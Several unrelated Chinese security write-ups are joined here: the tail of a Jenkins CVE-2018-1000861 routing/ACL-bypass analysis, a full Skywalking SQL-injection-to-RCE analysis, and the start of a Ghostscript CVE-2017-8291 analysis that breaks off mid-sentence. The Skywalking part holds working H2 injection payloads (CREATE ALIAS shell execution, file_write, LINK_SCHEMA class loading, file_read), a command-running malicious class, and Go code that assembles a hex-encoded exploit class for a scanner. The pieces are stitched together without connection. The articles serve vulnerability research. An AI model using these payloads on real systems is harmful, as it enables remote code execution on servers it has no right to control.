这也是 CVE-2018-1000861 ，造成的影响呢是能够一定程度上调用 Jenkins 中的任意 getter 函数，造成了越权的情况
将两者结合起来的话就很有可能是未授权 RCE
首先因为我之前一直在搞 Jenkins
的反序列化黑名单，所以对其路由解析过程算是比较熟悉（因为不熟悉ACL机制，甚至当时根本没听说过，导致没有察觉到这个任意 getter
调用的漏洞点，只是觉得jenkins的路由映射做的很奇怪233333），所以能在拿到官方通报后就能猜到整体触发流程，接下来我会先对
CVE-2018-1000861 做一点简单的分析，然后再从寻找 RCE 的角度去分析挖掘方式
然后还有想说的就是，从通告中可以直接拿到插件代码diff，可以很方便的找到漏洞点
#### 动态路由形成过程
CVE-2018-1000861 其实还是和之前 orange 大佬发现的 Jenkins 任意文件读取相关核心： Stapler 有关系
它对于 Jenkins 来说就是一个小型路由生成器
完完全全可以直接从 web.xml 开始跟入 Stapler 类中 service 函数的，因为官方补丁diff的话，反而找不到 Jenkins
路由生成过程，对后面的漏洞挖掘会造成一定理解上的困难
我不贴 service 函数的代码，简单说说就好，service 函数中最后调用到了 invoke 函数，一直跟着 invoke 关键字的话，会进入到
Stapler 中的 tryInvoke 函数中，关键代码块如下：
大致意思是，会得到 MetaClass 的一个对象，然后对请求包进行轮询调用其中的 dispatcher.disspatch，这个 dispatcher
就是一个个“节点”下的小路由，比如说一个请求的url：
<http://target/123/abc>
那么它先对 `123` 这个节点匹配对应的 dispatcher ，然后在 dispatch 中进行反射调用具体函数，然后再对 `abc`
这个节点做匹配以此类推
那么关键就是 dispatcher 的生成了，跟进 getMetaClass 函数
主要是根据传入的 node 变量生成了一个 MetaClass 对象，node 变量经过了一定包装，大致是获取了类相关信息，继续跟进 MetaClass
看看
记录 node 的各种信息，然后调用 buildDispatchers 函数，函数体太长总共301行就不贴出来了，这个函数主要功能就是对 node 对应的
class 、此 class的父类、此 class继承类 _（简单来说就是继承家族树中的所有类）_
进行一个函数信息提取，然后获取指定的函数相关信息，做一个函数反射调用和 url 节点名称的存储，存储在 MetaClass.dispatchers
中，这就是制作路由的过程了，也是 orange 文章中提到的，如下：
只要在继承家族树中，任意类满足在以上 11 种规则的函数，统统可以直接在 URL 中访问到（get的意思是以 `get` 开始的名字，do 和 js 同理）
然后呢，我随便截一个 dispatcher 的生成过程，如下图：
那么这里整个就是一次对当前 node 进行动态路由制作的过程了，如果思路延展一下，可以发现整个是一个迭代的过程，我稍微描述下：
访问 <http://target/123/abc>
先解析 root 节点（也就是第一次传入的 node ），然后对 123 做适配，匹配到的是满足上图中 11 中规则的并且存在于当前 root
节点家族树的函数，并对他进行反射调用，目标函数流程走完了后，根据返回结果类型进行下一步处理，因为在上图中的 req.getStapler().invoke
调用中，目标函数的返回结果传递给了第三个形参，如下：
其实就是一个新的 node ，那么对 abc 做适配的，就是新 node 的家族树中的函数了，以此递归下去，直到匹配出错或者所有节点匹配完成
那现在我们看一看，谁是 root node ：
* 如果 url 是以 /$stapler/bound/ 开头的话，就 org.kohsuke.stapler.bind.BoundObjectTable 为 root
* 如果其他的话就是以 Jenkins.model.Jenkins 为 root
上者和 Object 绑定功能相关，默认情况下是不会有什么利用点的
稍微看看 Jenkins 类的一部分家族树，如下图：
所以我们访问 Jenkins 的时候，第一个解析的路由节点，就是上图中满足那11个规则的函数
现在问题来了，这些类中所有满足规则的函数都能访问吗，那岂不是几乎没有任何限制了。
#### 绕过路由访问限制
那么限制在哪儿呢？
还是在 Stapler 类中 tryInvoke 函数中，函数一开头就做了一个操作如下：
如果是 StaplerProxy 的实现类，那么就会调用当前 node 的 getTarget() 函数，从家族树中看见 Jenkins 这个类确实实现了
StaplerProxy，那么它的 getTraget 函数如下：
上图中会检查当前用户是否拥有 READ 权限，如果没有的话会抛出异常，然后进入
isSubjectToMandatoryReadPermissionCheck 函数中，并且带入了当前访问的路由节点名，如下：
满足上面三个条件的路由节点名，都会放行当前请求通过，如果都不满足则记录请求并转到 login 窗口
查看一下 ALWAYS_READABLE_PATHS ：
上图中的节点路由都可以通过，不过这数量少得可怜。但是其中 securityRealm 就是绕过 ACL 限制的跳板入口。
这里不禁想起来自己挖洞的时候记录2333333，如下：
疯狂打脸233333，因为当时草草看了下，一心对反序列化黑名单着迷，没有对相关函数的返回类型做家族树调查
#### 跳-跳-跳
对 /securityRealm 访问时进行动态调试发现，返回的是 Hudson.security.HudsonPrivateSecurityRealm
类，我们跟过去，查看其中的 getUser 函数，如下：
这里根据传入的下一节点名当做 id，然后生成一个 User 出来，稍微测试了下，不存在的用户也能正常生成
User，未对这个原因进行深究，此时目标函数返回的是 User 类。我们看看 User 类的家族树，找到一个关键点如下：
查看 getDescriptorByName 如下：
其实就是调用了 Jenkins.getDescriptorByName，这个函数主要根据传入的 id（String），然后获取到程序中所有继承了
Descriptor 的子类
总结下这里的利用类连续跳动过程：
`Jenkins -> HudsonPrivateSecurityRealm -> User -> DescriptorByNameOwner ->
Jenkins -> Descriptor`
#### Descriptor 绕过 ACL 的主角
Descriptor ，从这个类名都能感觉到，是描述功能相关，并且其中拥有大量的 getter ，从设计上思考的话，这个 Descriptor
很有可能是会对很多功能点的相关描述
动态调了下，默认配置的 Jenkins 拥有约579个 Descriptor
#### 如何寻找 RCE
其实在研究动态路由的过程中，就发现了，想要 RCE 还是要依靠插件中的一些脚本解析功能才行，但是突然懒癌发作，看着一堆插件就不想动手去分析了23333
这里我们还是简单一点，根据官方漏洞通告寻找补丁diff：
<https://github.com/jenkinsci/workflow-cps-plugin/commit/d09583eda7898eafdd15297697abdd939c6ba5b6>
从中看见几个修改的类文件：
src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java
src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShellFactory.java
src/main/java/org/jenkinsci/plugins/workflow/cps/replay/ReplayAction.java
稍微筛选下，就能找出 CpsFlowDefinition 才是主角（虽然通过 ReplayAction
也能够触发，但是根据我的跟踪中发现需要一定权限才可以）
查看关键点 _CpsFlowDefinition$DescriptorImpl_ 如下：
继承的 FlowDefinitionDescriptor ，这个类继承自 Descriptor，上图中有两个满足那11个规则的函数，其中带上
@QueryParameter 注解的参数都可以通过参数请求传递进来
OK，到此为止已经拿到了 Jenkins 的无限制 RCE 触发链，但是最终它是解析 Groovy 脚本的，并且似乎上了沙盒，虽然官方补丁diff中含有一点
bypass sandbox 的技术点，但是我对 groovy 是一窍不通，搞了好几天都没办法，各位师傅如果有经验的话，试试呢？
### 目前为止的效果
都是官方补丁diff的bypass
使用 Grab 注解如下：
使用 ASTTest 注解如下：
### 总结（我菜如狗）
Stapler 的动态路由制作过程
Jenkins 本身的白名单路由
Descriptor 的利用，这里的利用过程相当曲折，从 Jenkins 入口跳出去最终再跳到 Jenkins 自己这里获取 Descriptor
，然后再从各种继承类中寻找到 groovy 解析的利用点，膜 orange
Groovy sandbox 的绕过，实在是不会弄了，Orz，求大哥们教教
#### Links：
hacking-Jenkins-part1-play-with-dynamic-routing：
<https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/>
jenkins官方通告：
<https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08>
<https://jenkins.io/security/advisory/2018-12-05/>
pipeline-groovy插件相关：
<https://plugins.jenkins.io/workflow-cps>
<https://github.com/jenkinsci/workflow-cps-plugin/commit/d09583eda7898eafdd15297697abdd939c6ba5b6> | 社区文章 |
# Skywalking远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：白帽汇安全研究院[@kejaly](https://github.com/kejaly "@kejaly")
校对：白帽汇安全研究院[@r4v3zn](https://github.com/r4v3zn "@r4v3zn")
## 前言
Apache Skywalking
是分布式系统的应用程序性能监视工具，特别是为微服务，云原生和基于容器（Docker，Kubernetes，Mesos）的体系结构而设计的。
近日，Apache Skywalking 官方发布安全更新，修复了 Apache Skywalking 远程代码执行漏洞。
Skywalking
历史上存在两次SQL注入漏洞，CVE-2020-9483、CVE-2020-13921。此次漏洞（Skywalking小于v8.4.0）是由于之前两次SQL注入漏洞修复并不完善，仍存在一处SQL注入漏洞。结合
h2 数据库（默认的数据库），可以导致 RCE 。
## 环境搭建
idea调式环境搭建：
<https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7>
<https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github>
下载地址skywalking v8.3.0版本：
<https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz>
然后按照官方的直接使用：
./mvnw compile -Dmaven.test.skip=true
然后在 OAPServerStartUp.java main() 函数运行启动 OAPServer，skywalking-ui 目录运行 npm run
serve 启动前台服务，访问
[http://localhost:8081，就搭建起了整个环境。](http://localhost:8081%EF%BC%8C%E5%B0%B1%E6%90%AD%E5%BB%BA%E8%B5%B7%E4%BA%86%E6%95%B4%E4%B8%AA%E7%8E%AF%E5%A2%83%E3%80%82)
但是在 RCE 的时候，用 idea 来启动项目 classpath 会有坑（因为 idea 会自动修改 classpath，导致一直 RCE
不成功），所以最后在 RCE 的时候使用官网提供的 distribution 中的 starup.bat 来启动。
下载地址： <https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz>
## 准备知识
### GraphQL基础
exp 需要通过 GraphQL语句来构造，所以需要掌握 GraphQL 的基本知识
[GraphQL 查询语法](https://graphql.cn/learn/queries/)
springboot 和 GraphQL 的整合 可以查看下面这个系列的四篇文章：
[GraphQL的探索之路 –
一种为你的API而生的查询语言篇一](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535043&idx=1&sn=1044f088d88a37230fdcf546e29c0409&chksm=843bb7d2b34c3ec426e667e354729974c8902d5d8d355bf5aae4f45c705831fe738f4f76f895&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL篇二](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535068&idx=1&sn=3efc4d37f8dd00f1fb3e93b4255fc7a6&chksm=843bb7cdb34c3edb1611c4ed823f7e35335a5e277009f920a4c18fd4c69d968250d7b3cbaf0b&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Query篇三](https://zhuanlan.zhihu.com/p/210471003)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Mutation篇四](https://blog.csdn.net/linxingliang/article/details/108488730)
简单言之就是在 .graphqls 文件中定义服务，然后编写实现 **GraphQLQueryResolver** 的类里面定义服务名相同的方法，这样
GraphQL 的服务就和 具体的 java 方法对应起来了。
比如 这次漏洞 涉及的 queryLogs 服务：
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\log.graphqls:
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
:
### skywalking中graphql对应关系
skywalking 中 GraphQL 涉及到的 service 层 ，Resolver ， graphqls ，以及 Dao 的位置如下， 以
alarm.graphqls 为例：
Service 层：
oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\AlarmQueryService.java
实现 Resolver 接口层：
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\AlarmQuery.java
对应的 graphqls 文件：
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\alarm.graphqls
对应的 DAO ：
oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2AlarmQueryDAO.java
### 漏洞分析
#### SQL注入漏洞点
根据 github 对应的 Pull ： <https://github.com/apache/skywalking/pull/6246/files>
定位到漏洞点
漏洞点在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
中的64 行，直接把 metricName append 到了 sql 中：
我们向上找调用 queryLogs 的地方，来到 oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java
中的queryLogs 方法：
再向上找调用 LogQueryService 中的 queryLogs 的地方，会跳到 oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
中的 queryLogs 方法：
方法所在的类正好实现了 GraphQLQueryResolver 接口，而且我们可以看到传入 getQueryService().queryLogs
方法的第一个参数(也就是之后的metricName) 是直接通过 condition.getMetricName() 来赋值的。
我们接着回到 H2LogQueryDAO.java 中:
buildCountStatement ：
计算 buildCountStatment(sql.toString()) ：
这里我们传入恶意 metricName 为 INFORMATION_SCHEMA.USERS union all select h2version())a
where 1=? or 1=? or 1=? —
成功报错带出结果：
### RCE
说起 h2 sql 注入导致 RCE ， 大家第一反应肯定是利用堆叠注入来定义函数别名来执行 java 代码，比如这样构造exp：
"metricName": "INFORMATION_SCHEMA.USERS union select 1))a where 1=? or 1=? or 1=? ;CREATE ALIAS SHELLEXEC4 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter('\\\\A'); if(s.hasNext()){return s.next();}else{return '';} }$$;CALL SHELLEXEC4('id');--
但是这里不能执行多条语句，因为要执行 create 语句的话就需要使用分号闭合掉前面的 select 语句，而我们可以看到执行sql
语句的h2Clinet.executeQuery() 底层使用的 prepareStatement(sql)
，prepareStatementer只能编译一条语句，要编译多条语句则需要使用 addBatch 和 executeBatch 。
根据公开文档 <https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw> ，h2 可以通过
**file_write** 写文件 ， **link_schema** 底层使用了类加载。
#### file_write
file_write：
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? --"，
#### link_schema
link_schema 函数底层存在一处类加载机制：
loadUserClass 底层使用的是 Class.forName() 去加载:
而这个 driver class 正好是 link_schema 的第二个参数。
link_schema：
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --"
#### 结合
那么我们就可以根据 file_write 来写一个恶意的 class 到服务器，把要执行的 java 代码写到 类的 static 块中，然后
linke_schema 去加载这个类，这样就可以执行任意的 java 代码了。
这里写恶意类的时候有个小技巧，可以先在本地安装 h2 ，然后利用 h2 来 file_read 读恶意类，file_read
出来的结果正好就是十六进制形式，所以就可以直接把结果作为 file_write() 的第一个参数
### 坑
#### classpath
不得不提 idea 执行 debug 运行的坑，这个坑折腾了好久。使用 idea debug 运行的时候，idea 会修改 classpath
<https://blog.csdn.net/romantic_jie/article/details/107859901> ，
然后就导致调用 link_schema 的时候总是提示 class not found 的报错。
所以最后选择不使用 idea debug 运行，使用官网提供的 distribution 中的 starup.bat 来运行。
下载地址: <https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz>
#### 双亲委派机制
另外由于双亲委派机制，导致加载一次恶意类之后，再去使用 link_schema
加载的时候无法加载。所以在实际使用的时候，需要再上传一个其他名字的恶意类来加载。
#### JDK 版本问题
由于 JVM 兼容性问题，使用低版本 JDK 启动 skywalking ，如果恶意类使用的编译环境比目标环境使用的 JDK 版本高的话，在类加载的时候会报
General error 错误。
考虑到现在市面上 JDK 版本基本都在 JDK 6 以及以上版本，所以为了使我们的恶意类都能加载，我们在生成恶意类的时候，最好使用 JDK 6 去生成。
javac evil.java -target 1.6 -source 1.6
### 回显RCE
既然可以执行任意 java 代码，其实就可以反弹 shell 了，但是考虑到有些时候机器没法出网，所以需要想办法实现回显 RCE 。
因为得到 h2 version 是通过报错来回显的，所以第一个想法就是恶意类中把执行的结果作为异常来抛出，这样就能达到回显的效果，但是 loadClass
的时候只会执行 static 块中的代码，而 static 块中又无法向上抛出异常，所以这个思路行不通。
后来想了想，想到可以结合 **file_read()** 的方法来间接实现回显 RCE 。也就是说把执行的结果写到 output.txt 中，然后通过
file_read(“output.txt”,null) 去读取结果
恶意类 static 块如下：
static {
try {
String cmd = "whoami";
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader i = new InputStreamReader(in,"GBK");
BufferedReader re = new BufferedReader(i);
StringBuilder sb = new StringBuilder(1024);
String line = null;
while((line = re.readLine()) != null) {
sb.append(line);
}
BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
out.write(String.valueOf(sb));
out.close();
} catch (IOException var7) {
}
}
file_read ：
"metricName": "INFORMATION_SCHEMA.USERS union all select file_read('output.txt',null))a where 1=? or 1=? or 1=? --"
### 动态字节码
前面提到过，由于类加载机制，需要每次都上传一个恶意新的恶意 class 文件，但是其实两个 class 文件差异并不大，只是执行的命令 ，以及 class
文件名不同而已，所以可以编写两个恶意类，利用 beyond compare 等对比工具比较两个 class 文件的差异，找到差异的地方。
那么我们在整合到 goby 的时候，思路就是每执行一条命令的时候，随机生成5位文件名，然后用户根据 要执行的命令来动态修改部分文件名。
classHex := "cafebabe00000034006b07000201000a636c617373"
cmd := "whoami"
if ss.Params["cmd"] != nil{
cmd = ss.Params["cmd"].(string)
}
// 生成随机文件名后缀 ， 比如 class01234 ， class12345
rand.Seed(time.Now().UnixNano())
// 随机文件名后缀名 以及 对应的十六进制
fileNameSuffix := goutils.RandomHexString(5) //goby 中封装的生成随机hex的函数
hexFileNameSuffixString := hex.EncodeToString([]byte(fileNameSuffix))
filename := "class"+fileNameSuffix
classHex += hexFileNameSuffixString
classHex += "0700040100106a6176612f6c616e672f4f626a6563740100083C636C696E69743E010003282956010004436F64650800090100"
cmdLen := fmt.Sprintf("%02x"，len(cmd))
classHex += cmdLen
cmdHex := hex.EncodeToString([]byte(cmd))
classHex += cmdHex
classHex += "0a000b000d07000c0100116a6176612f6c616e672f52756e74696d650c000e000f01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0a000b00110c0012001301000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0a001500170700160100116a6176612f6c616e672f50726f636573730c0018001901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b07001b0100196a6176612f696f2f496e70757453747265616d52656164657208001d01000347424b0a001a001f0c002000210100063c696e69743e01002a284c6a6176612f696f2f496e70757453747265616d3b4c6a6176612f6c616e672f537472696e673b29560700230100166a6176612f696f2f42756666657265645265616465720a002200250c00200026010013284c6a6176612f696f2f5265616465723b29560700280100176a6176612f6c616e672f537472696e674275696c6465720a0027002a0c0020002b010004284929560a0027002d0c002e002f010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0a002200310c00320033010008726561644c696e6501001428294c6a6176612f6c616e672f537472696e673b0700350100166a6176612f696f2f42756666657265645772697465720700370100126a6176612f696f2f46696c6557726974657208003901000a6f75747075742e7478740a0036003b0c0020003c010015284c6a6176612f6c616e672f537472696e673b29560a0034003e0c0020003f010013284c6a6176612f696f2f5772697465723b29560a004100430700420100106a6176612f6c616e672f537472696e670c0044004501000776616c75654f66010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f537472696e673b0a003400470c0048003c01000577726974650a0034004a0c004b0006010005636c6f736507004d0100136a6176612f696f2f494f457863657074696f6e01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010003636d640100124c6a6176612f6c616e672f537472696e673b010002696e0100154c6a6176612f696f2f496e70757453747265616d3b0100016901001b4c6a6176612f696f2f496e70757453747265616d5265616465723b01000272650100184c6a6176612f696f2f42756666657265645265616465723b01000273620100194c6a6176612f6c616e672f537472696e674275696c6465723b0100046c696e650100036f75740100184c6a6176612f696f2f42756666657265645772697465723b01000d537461636b4d61705461626c6507005f0100136a6176612f696f2f496e70757453747265616d01000a457863657074696f6e730a000300620c002000060100047468697301000c4c636c617373"
classHex += hexFileNameSuffixString
classHex += "3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b2956010004617267730100135b4c6a6176612f6c616e672f537472696e673b01000a536f7572636546696c6501000f636c617373"
classHex += hexFileNameSuffixString
classHex += "2e6a617661002100010003000000000003000800050006000100070000013b000500070000006c12084bb8000a2ab60010b600144cbb001a592b121cb7001e4dbb0022592cb700244ebb002759110400b700293a04013a05a7000b19041905b6002c572db60030593a05c7fff1bb003459bb0036591238b7003ab7003d3a0619061904b80040b600461906b60049a7000457b1000100000067006a004c0003004e0000003a000e0000000f00030010000e00110019001200220013002e00140031001500340016003c001500460018005800190062001a0067001b006b001e004f00000048000700030064005000510000000e00590052005300010019004e00540055000200220045005600570003002e003900580059000400310036005a005100050058000f005b005c0006005d000000270004ff0034000607004107005e07001a070022070027070041000007ff002d0000000107004c0000000020000600020060000000040001004c00070000003300010001000000052ab70061b100000002004e0000000a00020000000400040005004f0000000c00010000000500630064000000090065006600020060000000040001004c00070000002b0000000100000001b100000002004e0000000600010000000a004f0000000c0001000000010067006800000001006900000002006a"
## 历史SQL注入
skywalking 历史 sql 注入漏洞有两个，分别是 CVE-2020-9483 和 CVE-2020-13921 ，之前也提到此次漏洞是由于之前两次
sql 注入漏洞修复并不完善，仍存在一处 sql 注入漏洞。我们不妨也来看看这两个漏洞。
其实原因都是在执行 sql 语句的时候直接对用户可控的参数进行了拼接。
而这里说的可控，就是通过 GraphQL 语句来传入的参数。
#### CVE-2020-9483 [id 注入]
更改了一个文件，oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetricsQueryDAO.java
文件 <https://github.com/apache/skywalking/pull/4639/files>
把查询条件中的 id 换成使用预编译的方式来查询。
#### CVE-2020-13921 [多处注入]
原因是 参数直接拼接到 sql 执行语句中 <https://github.com/apache/skywalking/issues/4955>
有人提出 还有其他点存在直接拼接的问题。
作者修复方案如下，都是把直接拼接的换成了使用占位符预编译的方式:
另外作者也按照了上面的提议修改了其他三个文件，也是使用这样的方法。都是采用占位符来查询。
修复的文件：
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java [新增]
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java
但是上面的 issue 中还提到了：
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AggregationQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TopNRecordsQueryDAO.java
作者对这三个没有修复。而这次的主角就是 h2LogQueryDao.java 中
存在的 sql 注入，而且出问题的就是上面提到的那个地方 metricName 。
对于这次的 sql 注入，作者最后的修复方案是 直接删除这个metricName 字段
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
另外由于删除字段，所以导致了有12处文件都修改了。
这也正是[Skywalking远程代码执行漏洞预警](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw)中提到的未修复完善地方。
## 思考
这三次 sql 注入的原因都是因为在执行 sql 语句的时候直接对用户可控的参数进行了拼接，于是尝试通过查看 Dao
中其他的文件找是不是还存在其他直接拼接的地方。
翻了翻，发现基本都用了占位符预编译。
一开始发现一些直接拼接 metrics 的地方，但是并不存在注入，比如 H2AggregationQueryDAO 中的 sortMetrics ：
向上找到 sortMetics :
继续向上找:
对应的 aggregation.graphqls :
发现虽然有些是拼接了，但是
会进行判断，如果 condition.getName 是 UNKNOWN 的话就会直接返回。
## 参考
[Skywalking远程代码执行漏洞预警](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw)
[[CVE-2020-9483/13921]Apache SkyWalking
SQL注入](https://blog.csdn.net/caiqiiqi/article/details/107857173)
[Apache SkyWalking SQL注入漏洞复现分析
(CVE-2020-9483)](https://mp.weixin.qq.com/s/91MWSDYkom2Z8EVYSY37Qw)
[Skywalking 8 源码编译 IDEA 运行问题](https://www.jianshu.com/p/6374cc8dc9c8)
[根据配置CLASSPATH彻底弄懂AppCLassLoader的加载路径问题](https://blog.csdn.net/romantic_jie/article/details/107859901)
[SkyWalking调试环境搭建](https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7)
[SkyWalking How to build
project](https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github)
[GraphQL 查询和变更](https://graphql.cn/learn/queries/)
[GraphQL的探索之路 –
一种为你的API而生的查询语言篇一](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535043&idx=1&sn=1044f088d88a37230fdcf546e29c0409&chksm=843bb7d2b34c3ec426e667e354729974c8902d5d8d355bf5aae4f45c705831fe738f4f76f895&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL篇二](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535068&idx=1&sn=3efc4d37f8dd00f1fb3e93b4255fc7a6&chksm=843bb7cdb34c3edb1611c4ed823f7e35335a5e277009f920a4c18fd4c69d968250d7b3cbaf0b&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Query篇三](https://zhuanlan.zhihu.com/p/210471003)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Mutation篇四](https://blog.csdn.net/linxingliang/article/details/108488730)
[SkyWalking [CVE] Fix SQL Injection vulnerability in H2/MySQL implementation.
#4639](https://github.com/apache/skywalking/pull/4639/files)
[SkyWalking ALARM_MESSAGE Sql Inject
#4955](https://github.com/apache/skywalking/issues/4955)
[SkyWalking LogQuery remove unused field
#6246](https://github.com/apache/skywalking/pull/6246/files) | 社区文章 |
## 0x00 前言
HWP 是韩国 Hancom 公司开发的文字处理软件(扩展名`.hwp`)，可类比于
WPS。本文分析样本利用了CVE-2017-8291，由于版权相关问题，最新版的HWP已经将GhostScript开源组件(`gbb.exe`)移除，但在旧版本上该漏洞仍然能够触发，笔者分析时使用的HWP版本如下：
在分析样本之前先来分析该漏洞，该漏洞是一个类型混淆漏洞，由POC可知其如何由类型混淆达到Bypass SAFER。
## 0x01 POC分析
如不了解GhostScript语法，请读者自行参照官方参考文档(见参考链接)学习之后再来看POC。
> 笔者分析环境：Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg
可以用C语言写成(仅仅为表示其功能)：
int size_from = 10000;
int size_step = 500;
int size_to = 65000;
int a = 0;
int i;
for (i = size_from; i <= size_to; i += size_step)
a += 1;
int buffercount = a;
int* buffersizes = NULL;
buffersizes = (int*)malloc(buffercount * sizeof(int));
a = 0;
for (i = size_from; i <= size_to; i += size_step)
{
buffersizes[a] = i;
a += 1;
}
* * *
其功能为定义`buffers`，令`buffers[n]`为`buffersizes[n] string`(e.g.:`buffers[0]=10000
string`)，且每个`buffers[n]`的最后16位均为`0xFF`。
关于`cursize 16 sub 1 cursize 1 sub {curbuf exch 255
put}for`这段代码如何修改`buffers[n]`的理解，可参阅下图：
* * *
下面到了关键部分。首先修改POC如下：
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
buffers %++
(buffers) print %++
pop %++
enlarge array aload
(after aload) print %++
如此一来，可直接在`zprint()`函数处设断。(若在`zaload()`函数处设断，无法一次断下)
启动GDB后设置参数如下：
set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps
实现`aload`操作的函数`zaload()`[位于/psi/zarray.c]是第一个关键点：
`b zprint`设置断点,`r`开始执行后，成功在`zprint()`函数处断下：
查看osp及osbot(变量名osbot，osp和ostop代表operator stack的栈底、栈指针和栈顶)：
gdb-peda$ p osbot
$29 = (s_ptr) 0x555557040408
gdb-peda$ p osp
$30 = (s_ptr) 0x555557040418
gdb-peda$ x /4gx osbot
0x555557040408: 0x0000006f5715047e 0x00005555572d5e60
0x555557040418: 0x00000007ffff127e 0x00005555575d44e9
根据`ref_s`结构(位于/psi/iref.h)的定义：
struct ref_s {
struct tas_s tas;
union v { /* name the union to keep gdb happy */
ps_int intval;
ushort boolval;
float realval;
ulong saveid;
byte *bytes;
const byte *const_bytes;
ref *refs;
const ref *const_refs;
name *pname;
const name *const_pname;
dict *pdict;
const dict *const_pdict;
/*
* packed is the normal variant for referring to packed arrays,
* but we need a writable variant for memory management and for
* storing into packed dictionary key arrays.
*/
const ref_packed *packed;
ref_packed *writable_packed;
op_proc_t opproc;
struct stream_s *pfile;
struct gx_device_s *pdevice;
obj_header_t *pstruct;
uint64_t dummy; /* force 16-byte ref on 32-bit platforms */
} value;
};
可知`0x00005555575d44e9`地址处存储的应该是`buffers`字符串，验证之：
那么`0x00005555572d5e60`地址处存储的是`buffers`数组，根据POC
